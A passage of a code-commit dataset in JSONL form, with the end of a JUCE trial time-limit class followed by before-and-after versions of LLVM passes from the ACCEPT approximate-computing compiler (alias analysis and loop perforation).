lOptions.osxLibrarySubFolder = \"Application Support\";\n        lOptions.commonToAllUsers = pCommonToAllUsers;\n        lOptions.ignoreCaseOfKeyNames = false;\n        lOptions.doNotSave = false;\n        lOptions.millisecondsBeforeSaving = 0;\n        lOptions.storageFormat = PropertiesFile::storeAsCompressedBinary;\n        ScopedPointer<PropertiesFile> lSettings = new PropertiesFile(lOptions);\n        \n        String lLimitString = lSettings->getValue(lVersion, \"\");\n        if (lLimitString.isEmpty())\n        {\n            std::time_t lNow = std::time(nullptr);\n            mLimit = lNow + DAYSAFTERFIRSTRUN * 24 * 3600;\n            lSettings->setValue(lVersion, String((long)mLimit));\n        }\n        else\n        {\n            mLimit = (long)lLimitString.getDoubleValue(); \/\/ TODO: something more direct\n        }\n    }\n    \n    String getTimeLimit() const\n    {\n        return std::ctime(&mLimit);\n    }\n    \n    bool isOutdated() const\n    {\n        std::time_t lNow = std::time(nullptr);\n        return difftime(lNow, mLimit) > 0.;\n    }\n    \nprivate:\n    std::time_t                   mLimit;\n    \n    JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (TimeLimitedFromFirstRun)\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"llvm\/Analysis\/AliasAnalysis.h\"\n#include \"llvm\/Analysis\/Passes.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/DataLayout.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/GlobalVariable.h\"\n#include \"accept.h\"\n#include <fstream>\n#include <string>\n\nusing namespace llvm;\n\nnamespace {\n  struct AcceptAA : public ImmutablePass, public AliasAnalysis {\n    static char ID;\n    ACCEPTPass *transformPass;\n    ApproxInfo *AI;\n    int relaxId;\n    int relaxParam;\n\n    AcceptAA() : ImmutablePass(ID) {\n      initializeAcceptAAPass(*PassRegistry::getPassRegistry());\n      if (!sharedAcceptTransformPass) {\n        errs() << \"Alias analysis loaded without transform pass!\\n\";\n        return;\n      }\n      transformPass = (ACCEPTPass*)sharedAcceptTransformPass;\n      AI = transformPass->AI;\n    }\n\n    virtual const char *getPassName() const {\n      return \"ACCEPT approximate alias analysis\";\n    }\n\n    virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n      AliasAnalysis::getAnalysisUsage(AU);\n      \/\/ dependencies?\n    }\n\n    virtual void initializePass() {\n      InitializeAliasAnalysis(this);\n\n      \/\/ One global optimization parameter controls whether we should enable\n      \/\/ alias relaxation. (For now.)\n      relaxId = transformPass->opportunityId;\n      ++(transformPass->opportunityId);\n      if (transformPass->relax) {\n        relaxParam = transformPass->relaxConfig[relaxId];\n      } else {\n        relaxParam = 0;\n        transformPass->relaxConfig[relaxId] = 0;\n        transformPass->configDesc[relaxId] = \"alias relaxation\";\n      }\n    }\n\n    virtual AliasResult alias(const Location &LocA, const Location &LocB) {\n      if (!relaxParam)\n        return MayAlias;\n\n      \/\/ Mallocs, callocs...\n      if (const Instruction *inst = dyn_cast<Instruction>(LocA.Ptr)) {\n        if (const CallInst *ci = dyn_cast<CallInst>(inst)) {\n          std::string type_str;\n          llvm::raw_string_ostream rso(type_str);\n          rso << *inst;\n          if (rso.str().find(\"alloc\") != std::string::npos) {\n            for (Value::const_use_iterator ui = inst->use_begin();\n                  ui != inst->use_end();\n                  ++ui) {\n              if (const Instruction *user = dyn_cast<Instruction>(*ui)) {\n                if (const StoreInst *si = dyn_cast<StoreInst>(user)) {\n                  if (isApproxPtr(si) || isApprox(si)) return NoAlias;\n                } else if (const GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(user)) {\n                  if (isApproxPtr(user)) return NoAlias;\n                } else if (const BitCastInst *bc = dyn_cast<BitCastInst>(user)) {\n                  for (Value::const_use_iterator bc_ui = user->use_begin();\n                        bc_ui != user->use_end();\n                        ++bc_ui) {\n                    if (const Instruction *bc_user = dyn_cast<Instruction>(*bc_ui))\n                      if (const StoreInst *si_bc_user = dyn_cast<StoreInst>(bc_user))\n                        if (isApproxPtr(si_bc_user) || isApprox(si_bc_user)) return NoAlias;\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n      if (const Instruction *inst = dyn_cast<Instruction>(LocB.Ptr)) {\n        if (const CallInst *ci = dyn_cast<CallInst>(inst)) {\n          std::string type_str;\n          llvm::raw_string_ostream rso(type_str);\n          rso << *inst;\n          if (rso.str().find(\"alloc\") != std::string::npos) {\n            for (Value::const_use_iterator ui = inst->use_begin();\n                  ui != inst->use_end();\n                  ++ui) {\n              if (const Instruction *user = dyn_cast<Instruction>(*ui)) {\n                if (const StoreInst *si = dyn_cast<StoreInst>(user)) {\n                  if (isApproxPtr(si) || isApprox(si)) return NoAlias;\n                } else if (const GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(user)) {\n                  if (isApproxPtr(user)) return NoAlias;\n                } else if (const BitCastInst *bc = dyn_cast<BitCastInst>(user)) {\n                  for (Value::const_use_iterator bc_ui = user->use_begin();\n                        bc_ui != user->use_end();\n                        ++bc_ui) {\n                    if (const Instruction *bc_user = dyn_cast<Instruction>(*bc_ui))\n                      if (const StoreInst *si_bc_user = dyn_cast<StoreInst>(bc_user))\n                        if (isApproxPtr(si_bc_user) || isApprox(si_bc_user)) return NoAlias;\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n\n      \/\/ Globals\n      if (const GlobalValue *GV = dyn_cast<GlobalValue>(LocA.Ptr))\n        if (const GlobalVariable *V = dyn_cast<GlobalVariable>(GV))\n          if (isApproxPtr(V)) return NoAlias;\n      if (const GlobalValue *GV = dyn_cast<GlobalValue>(LocB.Ptr))\n        if (const GlobalVariable *V = dyn_cast<GlobalVariable>(GV))\n          if (isApproxPtr(V)) return NoAlias;\n\n\n      \/\/ Getelementptr\n      if (const Instruction *inst = dyn_cast<Instruction>(LocA.Ptr))\n        if (const GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(inst))\n          if (isApproxPtr(GEP)) return NoAlias;\n      if (const Instruction *inst = dyn_cast<Instruction>(LocB.Ptr))\n        if (const GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(inst))\n          if (isApproxPtr(GEP)) return NoAlias;\n\n      \/\/ Bitcasts\n      if (const Instruction *inst = dyn_cast<Instruction>(LocA.Ptr))\n        if (const BitCastInst *BC = dyn_cast<BitCastInst>(inst)) {\n          std::string type_str;\n          llvm::raw_string_ostream rso(type_str);\n          rso << *(inst->getOperand(0));\n          if (rso.str().find(\"alloc\") != std::string::npos) {\n            for (Value::const_use_iterator ui = inst->use_begin();\n                  ui != inst->use_end();\n                  ++ui) {\n              const Instruction *user = dyn_cast<Instruction>(*ui);\n              if (const StoreInst *st = dyn_cast<StoreInst>(user))\n                if (isApprox(st) || isApproxPtr(st)) return NoAlias;\n            }\n          }\n        }\n      if (const Instruction *inst = dyn_cast<Instruction>(LocB.Ptr))\n        if (const BitCastInst *BC = dyn_cast<BitCastInst>(inst)) {\n          std::string type_str;\n          llvm::raw_string_ostream rso(type_str);\n          rso << *(inst->getOperand(0));\n          if (rso.str().find(\"alloc\") != std::string::npos) {\n            for (Value::const_use_iterator ui = inst->use_begin();\n                  ui != inst->use_end();\n                  ++ui) {\n              const Instruction *user = dyn_cast<Instruction>(*ui);\n              if (const StoreInst *st = dyn_cast<StoreInst>(user))\n                if (isApprox(st) || isApproxPtr(st)) return NoAlias;\n            }\n          }\n        }\n\n      \/\/ Ordinary instructions\n      if (const Instruction *inst = dyn_cast<Instruction>(LocA.Ptr))\n        if (isApprox(inst) || isApproxPtr(inst)) return NoAlias;\n      if (const Instruction *inst = dyn_cast<Instruction>(LocB.Ptr))\n        if (isApprox(inst) || isApproxPtr(inst)) return NoAlias;\n\n      \/* DEBUG\n      else if (instA && instB) {\n        errs() << \"instructions:\\n\";\n        instA->dump();\n        instB->dump();\n      } else {\n        const GlobalValue *gvA = dyn_cast<GlobalValue>(LocA.Ptr);\n        const GlobalValue *gvB = dyn_cast<GlobalValue>(LocB.Ptr);\n        if (gvA && gvB) {\n          errs() << \"global values:\\n\";\n          gvA->dump();\n          gvB->dump();\n        }\n      }\n      *\/\n\n      \/\/ Delegate to other alias analyses.\n      return AliasAnalysis::alias(LocA, LocB);\n    }\n\n    \/\/ This required bit works around C++'s multiple inheritance weirdness.\n    \/\/ Casting this to AliasAnalysis* gets the correct vtable for those calls.\n    virtual void *getAdjustedAnalysisPointer(const void *ID) {\n      if (ID == &AliasAnalysis::ID)\n        return (AliasAnalysis*)this;\n      return this;\n    }\n  };\n}\n\nchar AcceptAA::ID = 0;\nINITIALIZE_AG_PASS(AcceptAA, AliasAnalysis, \"acceptaa\",\n                   \"ACCEPT approximate alias analysis\",\n                   false, true, false)\n\nImmutablePass *llvm::createAcceptAAPass() { return new AcceptAA(); }\n<commit_msg>aa: helper function to check for mallocs<commit_after>#include \"llvm\/Analysis\/AliasAnalysis.h\"\n#include \"llvm\/Analysis\/Passes.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/DataLayout.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/GlobalVariable.h\"\n#include \"accept.h\"\n#include <fstream>\n#include <string>\n#include <ctime>\n\nusing namespace llvm;\n\nnamespace {\n  bool isMalloc(const Value *val) {\n      if (const CallInst *call = dyn_cast<CallInst>(val)) {\n          if (Function *func = call->getCalledFunction()) {\n              return func->getName().find(\"alloc\") != StringRef::npos;\n          }\n      }\n      return false;\n  }\n\n  struct AcceptAA : public ImmutablePass, public AliasAnalysis {\n    static char ID;\n    ACCEPTPass *transformPass;\n    ApproxInfo *AI;\n    int relaxId;\n    int relaxParam;\n\n    AcceptAA() : ImmutablePass(ID) {\n      initializeAcceptAAPass(*PassRegistry::getPassRegistry());\n      if (!sharedAcceptTransformPass) {\n        errs() << \"Alias analysis loaded without transform pass!\\n\";\n        return;\n      }\n      transformPass = (ACCEPTPass*)sharedAcceptTransformPass;\n      AI = transformPass->AI;\n    }\n\n    virtual const char *getPassName() const {\n      return \"ACCEPT approximate alias analysis\";\n    }\n\n    virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n      AliasAnalysis::getAnalysisUsage(AU);\n      \/\/ dependencies?\n    }\n\n    virtual void initializePass() {\n      InitializeAliasAnalysis(this);\n\n      \/\/ One global optimization parameter controls whether we should enable\n      \/\/ alias relaxation. (For now.)\n      relaxId = transformPass->opportunityId;\n      ++(transformPass->opportunityId);\n      if (transformPass->relax) {\n        relaxParam = transformPass->relaxConfig[relaxId];\n      } else {\n        relaxParam = 0;\n        transformPass->relaxConfig[relaxId] = 0;\n        transformPass->configDesc[relaxId] = \"alias relaxation\";\n      }\n    }\n\n    virtual AliasResult alias(const Location &LocA, const Location &LocB) {\n      if (!relaxParam)\n        return MayAlias;\n\n      \/\/ Mallocs, callocs...\n      if (const Instruction *inst = dyn_cast<Instruction>(LocA.Ptr)) {\n        if (isMalloc(inst)) {\n            for (Value::const_use_iterator ui = inst->use_begin();\n                  ui != inst->use_end();\n                  ++ui) {\n              if (const Instruction *user = dyn_cast<Instruction>(*ui)) {\n                if (const StoreInst *si = dyn_cast<StoreInst>(user)) {\n                  if (isApproxPtr(si) || isApprox(si)) {\n                      return NoAlias;\n                  }\n                } else if (const GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(user)) {\n                  if (isApproxPtr(user)) {\n                      return NoAlias;\n                  }\n                } else if (const BitCastInst *bc = dyn_cast<BitCastInst>(user)) {\n                  for (Value::const_use_iterator bc_ui = user->use_begin();\n                        bc_ui != user->use_end();\n                        ++bc_ui) {\n                    if (const Instruction *bc_user = dyn_cast<Instruction>(*bc_ui))\n                      if (const StoreInst *si_bc_user = dyn_cast<StoreInst>(bc_user))\n                        if (isApproxPtr(si_bc_user) || isApprox(si_bc_user)) {\n                            return NoAlias;\n                        }\n                  }\n                }\n              }\n            }\n        }\n      }\n      if (const Instruction *inst = dyn_cast<Instruction>(LocB.Ptr)) {\n        if (isMalloc(inst)) {\n            for (Value::const_use_iterator ui = inst->use_begin();\n                  ui != inst->use_end();\n                  ++ui) {\n              if (const Instruction *user = dyn_cast<Instruction>(*ui)) {\n                if (const StoreInst *si = dyn_cast<StoreInst>(user)) {\n                  if (isApproxPtr(si) || isApprox(si)) {\n                      return NoAlias;\n                  }\n                } else if (const GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(user)) {\n                  if (isApproxPtr(user)) {\n                      return NoAlias;\n                  }\n                } else if (const BitCastInst *bc = dyn_cast<BitCastInst>(user)) {\n                  for (Value::const_use_iterator bc_ui = user->use_begin();\n                        bc_ui != user->use_end();\n                        ++bc_ui) {\n                    if (const Instruction *bc_user = dyn_cast<Instruction>(*bc_ui))\n                      if (const StoreInst *si_bc_user = dyn_cast<StoreInst>(bc_user))\n                        if (isApproxPtr(si_bc_user) || isApprox(si_bc_user)) {\n                            return NoAlias;\n                        }\n                  }\n                }\n              }\n            }\n        }\n      }\n\n      \/\/ Globals\n      if (const GlobalValue *GV = dyn_cast<GlobalValue>(LocA.Ptr))\n        if (const GlobalVariable *V = dyn_cast<GlobalVariable>(GV))\n          if (isApproxPtr(V)) {\n              return NoAlias;\n          }\n      if (const GlobalValue *GV = dyn_cast<GlobalValue>(LocB.Ptr))\n        if (const GlobalVariable *V = dyn_cast<GlobalVariable>(GV))\n          if (isApproxPtr(V)) {\n              return NoAlias;\n          }\n\n      \/\/ Getelementptr\n      if (const Instruction *inst = dyn_cast<Instruction>(LocA.Ptr))\n        if (const GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(inst))\n          if (isApproxPtr(GEP)) {\n              return NoAlias;\n          }\n      if (const Instruction *inst = dyn_cast<Instruction>(LocB.Ptr))\n        if (const GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(inst))\n          if (isApproxPtr(GEP)) {\n              return NoAlias;\n          }\n\n      \/\/ Bitcasts\n      if (const Instruction *inst = dyn_cast<Instruction>(LocA.Ptr))\n        if (const BitCastInst *BC = dyn_cast<BitCastInst>(inst)) {\n          if (isMalloc(inst->getOperand(0))) {\n            for (Value::const_use_iterator ui = inst->use_begin();\n                  ui != inst->use_end();\n                  ++ui) {\n              const Instruction *user = dyn_cast<Instruction>(*ui);\n              if (const StoreInst *st = dyn_cast<StoreInst>(user))\n                if (isApprox(st) || isApproxPtr(st)) {\n                    return NoAlias;\n                }\n            }\n          }\n        }\n      if (const Instruction *inst = dyn_cast<Instruction>(LocB.Ptr))\n        if (const BitCastInst *BC = dyn_cast<BitCastInst>(inst)) {\n          if (isMalloc(inst->getOperand(0))) {\n            for (Value::const_use_iterator ui = inst->use_begin();\n                  ui != inst->use_end();\n                  ++ui) {\n              const Instruction *user = dyn_cast<Instruction>(*ui);\n              if (const StoreInst *st = dyn_cast<StoreInst>(user))\n                if (isApprox(st) || isApproxPtr(st)) {\n                    return NoAlias;\n                }\n            }\n          }\n        }\n\n      \/\/ Ordinary instructions\n      if (const Instruction *inst = dyn_cast<Instruction>(LocA.Ptr))\n        if (isApprox(inst) || isApproxPtr(inst)) {\n            return NoAlias;\n        }\n      if (const Instruction *inst = dyn_cast<Instruction>(LocB.Ptr))\n        if (isApprox(inst) || isApproxPtr(inst)) {\n            return NoAlias;\n        } \n\n      \/* DEBUG\n      else if (instA && instB) {\n        errs() << \"instructions:\\n\";\n        instA->dump();\n        instB->dump();\n      } else {\n        const GlobalValue *gvA = dyn_cast<GlobalValue>(LocA.Ptr);\n        const GlobalValue *gvB = dyn_cast<GlobalValue>(LocB.Ptr);\n        if (gvA && gvB) {\n          errs() << \"global values:\\n\";\n          gvA->dump();\n          gvB->dump();\n        }\n      }\n      *\/\n\n      \/\/ Delegate to other alias analyses.\n      return AliasAnalysis::alias(LocA, LocB);\n    }\n\n    \/\/ This required bit works around C++'s multiple inheritance weirdness.\n    \/\/ Casting this to AliasAnalysis* gets the correct vtable for those calls.\n    virtual void *getAdjustedAnalysisPointer(const void *ID) {\n      if (ID == &AliasAnalysis::ID)\n        return (AliasAnalysis*)this;\n      return this;\n    }\n  };\n}\n\nchar AcceptAA::ID = 0;\nINITIALIZE_AG_PASS(AcceptAA, AliasAnalysis, \"acceptaa\",\n                   \"ACCEPT approximate alias analysis\",\n                   false, true, false)\n\nImmutablePass *llvm::createAcceptAAPass() { return new AcceptAA(); }\n<|endoftext|>"}
{"text":"<commit_before>#include \"accept.h\"\n\n#include \"llvm\/Analysis\/LoopPass.h\"\n#include \"llvm\/IRBuilder.h\"\n#include \"llvm\/Module.h\"\n\n#include <sstream>\n\nusing namespace llvm;\n\nnamespace {\n  struct LoopPerfPass : public LoopPass {\n    static char ID;\n    ACCEPTPass *transformPass;\n    ApproxInfo *AI;\n    Module *module;\n    llvm::raw_fd_ostream *log;\n    LoopInfo *LI;\n\n    LoopPerfPass() : LoopPass(ID) {}\n\n    virtual bool doInitialization(Loop *loop, LPPassManager &LPM) {\n      transformPass = (ACCEPTPass*)sharedAcceptTransformPass;\n      AI = transformPass->AI;\n      log = AI->log;\n      return false;\n    }\n    virtual bool runOnLoop(Loop *loop, LPPassManager &LPM) {\n      module = loop->getHeader()->getParent()->getParent();\n      LI = &getAnalysis<LoopInfo>();\n      return tryToOptimizeLoop(loop);\n    }\n    virtual bool doFinalization() {\n      return false;\n    }\n    virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n      LoopPass::getAnalysisUsage(AU);\n      AU.addRequired<LoopInfo>();\n    }\n\n    IntegerType *getNativeIntegerType() {\n      DataLayout layout(module->getDataLayout());\n      return Type::getIntNTy(module->getContext(),\n                              layout.getPointerSizeInBits());\n    }\n\n    \/\/ Assess whether a loop can be optimized and, if so, log some messages and\n    \/\/ update the configuration map. If optimization is turned on, the\n    \/\/ configuration map will be used to actually transform the loop. Returns a\n    \/\/ boolean indicating whether the code was changed (i.e., the loop\n    \/\/ perforated).\n    bool tryToOptimizeLoop(Loop *loop) {\n      std::stringstream ss;\n      ss << \"loop at \"\n         << srcPosDesc(*module, loop->getHeader()->begin()->getDebugLoc());\n      std::string loopName = ss.str();\n\n      *log << \"---\\n\" << loopName << \"\\n\";\n\n      \/\/ Look for ACCEPT_FORBID marker.\n      if (AI->instMarker(loop->getHeader()->begin()) == markerForbid) {\n        *log << \"optimization forbidden\\n\";\n        return false;\n      }\n\n      \/\/ We only consider loops for which there is a header (condition), a\n      \/\/ latch (increment, in \"for\"), and a preheader (initialization).\n      if (!loop->getHeader() || !loop->getLoopLatch()\n          || !loop->getLoopPreheader()) {\n        *log << \"loop not in perforatable form\\n\";\n        return false;\n      }\n\n      \/\/ Skip array constructor loops manufactured by Clang.\n      if (loop->getHeader()->getName().startswith(\"arrayctor.loop\")) {\n        *log << \"array constructor\\n\";\n        return false;\n      }\n\n      \/\/ Skip empty-body loops (where perforation would do nothing anyway).\n      if (loop->getNumBlocks() == 2\n          && loop->getHeader() != loop->getLoopLatch()) {\n        BasicBlock *latch = loop->getLoopLatch();\n        if (&(latch->front()) == &(latch->back())) {\n          *log << \"empty body\\n\";\n          return false;\n        }\n      }\n\n      \/*\n      if (acceptUseProfile) {\n        ProfileInfo &PI = getAnalysis<ProfileInfo>();\n        double trips = PI.getExecutionCount(loop->getHeader());\n        *log << \"trips: \" << trips << \"\\n\";\n      }\n      *\/\n\n      \/\/ Determine whether this is a for-like or while-like loop. This informs\n      \/\/ the heuristic that determines which parts of the loop to perforate.\n      bool isForLike = false;\n      if (loop->getHeader()->getName().startswith(\"for.cond\")) {\n        *log << \"for-like loop\\n\";\n        isForLike = true;\n      } else {\n        *log << \"while-like loop\\n\";\n      }\n\n      if (transformPass->relax) {\n        int param = transformPass->relaxConfig[loopName];\n        if (param) {\n          *log << \"perforating with factor 2^\" << param << \"\\n\";\n          perforateLoop(loop, param, isForLike);\n          return true;\n        } else {\n          *log << \"not perforating\\n\";\n          return false;\n        }\n      }\n\n      \/\/ Get the body blocks of the loop: those that will not be executed during\n      \/\/ some iterations of a perforated loop.\n      std::set<BasicBlock*> bodyBlocks;\n      for (Loop::block_iterator bi = loop->block_begin();\n            bi != loop->block_end(); ++bi) {\n        if (*bi == loop->getHeader()) {\n          \/\/ Even in perforated loops, the header gets executed every time. So we\n          \/\/ don't check it.\n          continue;\n        } else if (isForLike && *bi == loop->getLoopLatch()) {\n          \/\/ When perforating for-like loops, we also execute the latch each\n          \/\/ time.\n          continue;\n        }\n        bodyBlocks.insert(*bi);\n      }\n      if (bodyBlocks.empty()) {\n        *log << \"empty body\\n\";\n        return false;\n      }\n\n      \/\/ Check for control flow in the loop body. We don't perforate anything\n      \/\/ with a break, continue, return, etc.\n      for (std::set<BasicBlock*>::iterator i = bodyBlocks.begin();\n            i != bodyBlocks.end(); ++i) {\n        if (loop->isLoopExiting(*i)) {\n          *log << \"contains loop exit\\n\";\n          return false;\n        }\n      }\n\n      \/\/ Check whether the body of this loop is elidable (precise-pure).\n      std::set<Instruction*> blockers = AI->preciseEscapeCheck(bodyBlocks);\n      *log << \"blockers: \" << blockers.size() << \"\\n\";\n      for (std::set<Instruction*>::iterator i = blockers.begin();\n            i != blockers.end(); ++i) {\n        *log << \" * \" << instDesc(*module, *i) << \"\\n\";\n      }\n\n      if (!blockers.size()) {\n        *log << \"can perforate loop\\n\";\n        transformPass->relaxConfig[loopName] = 0;\n      }\n\n      return false;\n    }\n\n    \/\/ Transform a loop to skip iterations.\n    \/\/ The loop should already be validated as perforatable, but checks will be\n    \/\/ performed nonetheless to ensure safety.\n    void perforateLoop(Loop *loop, int logfactor, bool isForLike) {\n      \/\/ Check whether this loop is perforatable.\n      \/\/ First, check for required blocks.\n      if (!loop->getHeader() || !loop->getLoopLatch()\n          || !loop->getLoopPreheader() || !loop->getExitBlock()) {\n        errs() << \"malformed loop\\n\";\n        return;\n      }\n      \/\/ Next, make sure the header (condition block) ends with a body\/exit\n      \/\/ conditional branch.\n      BranchInst *condBranch = dyn_cast<BranchInst>(\n          loop->getHeader()->getTerminator()\n      );\n      if (!condBranch || condBranch->getNumSuccessors() != 2) {\n        errs() << \"malformed loop condition\\n\";\n        return;\n      }\n      BasicBlock *bodyBlock;\n      if (condBranch->getSuccessor(0) == loop->getExitBlock()) {\n        bodyBlock = condBranch->getSuccessor(1);\n      } else if (condBranch->getSuccessor(1) == loop->getExitBlock()) {\n        bodyBlock = condBranch->getSuccessor(0);\n      } else {\n        errs() << \"loop condition does not exit\\n\";\n        return;\n      }\n\n      \/\/ Get the shortcut for the destination. In for-like loop perforation, we\n      \/\/ shortcut to the latch (increment block). In while-like perforation, we\n      \/\/ jump to the header (condition block).\n      BasicBlock *shortcutDest;\n      if (isForLike) {\n        shortcutDest = loop->getLoopLatch();\n      } else {\n        shortcutDest = loop->getHeader();\n      }\n\n      IRBuilder<> builder(module->getContext());\n      Value *result;\n\n      \/\/ Allocate stack space for the counter.\n      \/\/ LLVM \"alloca\" instructions go in the function's entry block. Otherwise,\n      \/\/ they have to adjust the frame size dynamically (and, in my experience,\n      \/\/ can actually segfault!). And we only want one of these per static loop\n      \/\/ anyway.\n      builder.SetInsertPoint(\n          loop->getLoopPreheader()->getParent()->getEntryBlock().begin()\n      );\n\n      IntegerType *nativeInt = getNativeIntegerType();\n      AllocaInst *counterAlloca = builder.CreateAlloca(\n          nativeInt,\n          0,\n          \"accept_counter\"\n      );\n\n      \/\/ Initialize the counter in the preheader.\n      builder.SetInsertPoint(loop->getLoopPreheader()->getTerminator());\n      builder.CreateStore(\n          ConstantInt::get(nativeInt, 0, false),\n          counterAlloca\n      );\n\n      \/\/ Increment the counter in the latch.\n      builder.SetInsertPoint(loop->getLoopLatch()->getTerminator());\n      result = builder.CreateLoad(\n          counterAlloca,\n          \"accept_tmp\"\n      );\n      result = builder.CreateAdd(\n          result,\n          ConstantInt::get(nativeInt, 1, false),\n          \"accept_inc\"\n      );\n      builder.CreateStore(\n          result,\n          counterAlloca\n      );\n\n      \/\/ Get the first body block.\n\n      \/\/ Check the counter before the loop's body.\n      BasicBlock *checkBlock = BasicBlock::Create(\n          module->getContext(),\n          \"accept_cond\",\n          bodyBlock->getParent(),\n          bodyBlock\n      );\n      builder.SetInsertPoint(checkBlock);\n      result = builder.CreateLoad(\n          counterAlloca,\n          \"accept_tmp\"\n      );\n      \/\/ Check whether the low n bits of the counter are zero.\n      result = builder.CreateTrunc(\n          result,\n          Type::getIntNTy(module->getContext(), logfactor),\n          \"accept_trunc\"\n      );\n      result = builder.CreateIsNull(\n          result,\n          \"accept_cmp\"\n      );\n      result = builder.CreateCondBr(\n          result,\n          bodyBlock,\n          loop->getLoopLatch()\n      );\n\n      \/\/ Change the condition block to point to our new condition\n      \/\/ instead of the body.\n      condBranch->setSuccessor(0, checkBlock);\n\n      \/\/ Add block to the loop structure.\n      loop->addBasicBlockToLoop(checkBlock, LI->getBase());\n    }\n\n  };\n}\n\nchar LoopPerfPass::ID = 0;\nLoopPass *llvm::createLoopPerfPass() { return new LoopPerfPass(); }\n\n<commit_msg>skip forbidden functions in new loop perforator<commit_after>#include \"accept.h\"\n\n#include \"llvm\/Analysis\/LoopPass.h\"\n#include \"llvm\/IRBuilder.h\"\n#include \"llvm\/Module.h\"\n\n#include <sstream>\n\nusing namespace llvm;\n\nnamespace {\n  struct LoopPerfPass : public LoopPass {\n    static char ID;\n    ACCEPTPass *transformPass;\n    ApproxInfo *AI;\n    Module *module;\n    llvm::raw_fd_ostream *log;\n    LoopInfo *LI;\n\n    LoopPerfPass() : LoopPass(ID) {}\n\n    virtual bool doInitialization(Loop *loop, LPPassManager &LPM) {\n      transformPass = (ACCEPTPass*)sharedAcceptTransformPass;\n      AI = transformPass->AI;\n      log = AI->log;\n      return false;\n    }\n    virtual bool runOnLoop(Loop *loop, LPPassManager &LPM) {\n      if (transformPass->shouldSkipFunc(*(loop->getHeader()->getParent())))\n          return false;\n      module = loop->getHeader()->getParent()->getParent();\n      LI = &getAnalysis<LoopInfo>();\n      return tryToOptimizeLoop(loop);\n    }\n    virtual bool doFinalization() {\n      return false;\n    }\n    virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n      LoopPass::getAnalysisUsage(AU);\n      AU.addRequired<LoopInfo>();\n    }\n\n    IntegerType *getNativeIntegerType() {\n      DataLayout layout(module->getDataLayout());\n      return Type::getIntNTy(module->getContext(),\n                              layout.getPointerSizeInBits());\n    }\n\n    \/\/ Assess whether a loop can be optimized and, if so, log some messages and\n    \/\/ update the configuration map. If optimization is turned on, the\n    \/\/ configuration map will be used to actually transform the loop. Returns a\n    \/\/ boolean indicating whether the code was changed (i.e., the loop\n    \/\/ perforated).\n    bool tryToOptimizeLoop(Loop *loop) {\n      std::stringstream ss;\n      ss << \"loop at \"\n         << srcPosDesc(*module, loop->getHeader()->begin()->getDebugLoc());\n      std::string loopName = ss.str();\n\n      *log << \"---\\n\" << loopName << \"\\n\";\n\n      \/\/ Look for ACCEPT_FORBID marker.\n      if (AI->instMarker(loop->getHeader()->begin()) == markerForbid) {\n        *log << \"optimization forbidden\\n\";\n        return false;\n      }\n\n      \/\/ We only consider loops for which there is a header (condition), a\n      \/\/ latch (increment, in \"for\"), and a preheader (initialization).\n      if (!loop->getHeader() || !loop->getLoopLatch()\n          || !loop->getLoopPreheader()) {\n        *log << \"loop not in perforatable form\\n\";\n        return false;\n      }\n\n      \/\/ Skip array constructor loops manufactured by Clang.\n      if (loop->getHeader()->getName().startswith(\"arrayctor.loop\")) {\n        *log << \"array constructor\\n\";\n        return false;\n      }\n\n      \/\/ Skip empty-body loops (where perforation would do nothing anyway).\n      if (loop->getNumBlocks() == 2\n          && loop->getHeader() != loop->getLoopLatch()) {\n        BasicBlock *latch = loop->getLoopLatch();\n        if (&(latch->front()) == &(latch->back())) {\n          *log << \"empty body\\n\";\n          return false;\n        }\n      }\n\n      \/*\n      if (acceptUseProfile) {\n        ProfileInfo &PI = getAnalysis<ProfileInfo>();\n        double trips = PI.getExecutionCount(loop->getHeader());\n        *log << \"trips: \" << trips << \"\\n\";\n      }\n      *\/\n\n      \/\/ Determine whether this is a for-like or while-like loop. This informs\n      \/\/ the heuristic that determines which parts of the loop to perforate.\n      bool isForLike = false;\n      if (loop->getHeader()->getName().startswith(\"for.cond\")) {\n        *log << \"for-like loop\\n\";\n        isForLike = true;\n      } else {\n        *log << \"while-like loop\\n\";\n      }\n\n      if (transformPass->relax) {\n        int param = transformPass->relaxConfig[loopName];\n        if (param) {\n          *log << \"perforating with factor 2^\" << param << \"\\n\";\n          perforateLoop(loop, param, isForLike);\n          return true;\n        } else {\n          *log << \"not perforating\\n\";\n          return false;\n        }\n      }\n\n      \/\/ Get the body blocks of the loop: those that will not be executed during\n      \/\/ some iterations of a perforated loop.\n      std::set<BasicBlock*> bodyBlocks;\n      for (Loop::block_iterator bi = loop->block_begin();\n            bi != loop->block_end(); ++bi) {\n        if (*bi == loop->getHeader()) {\n          \/\/ Even in perforated loops, the header gets executed every time. So we\n          \/\/ don't check it.\n          continue;\n        } else if (isForLike && *bi == loop->getLoopLatch()) {\n          \/\/ When perforating for-like loops, we also execute the latch each\n          \/\/ time.\n          continue;\n        }\n        bodyBlocks.insert(*bi);\n      }\n      if (bodyBlocks.empty()) {\n        *log << \"empty body\\n\";\n        return false;\n      }\n\n      \/\/ Check for control flow in the loop body. We don't perforate anything\n      \/\/ with a break, continue, return, etc.\n      for (std::set<BasicBlock*>::iterator i = bodyBlocks.begin();\n            i != bodyBlocks.end(); ++i) {\n        if (loop->isLoopExiting(*i)) {\n          *log << \"contains loop exit\\n\";\n          return false;\n        }\n      }\n\n      \/\/ Check whether the body of this loop is elidable (precise-pure).\n      std::set<Instruction*> blockers = AI->preciseEscapeCheck(bodyBlocks);\n      *log << \"blockers: \" << blockers.size() << \"\\n\";\n      for (std::set<Instruction*>::iterator i = 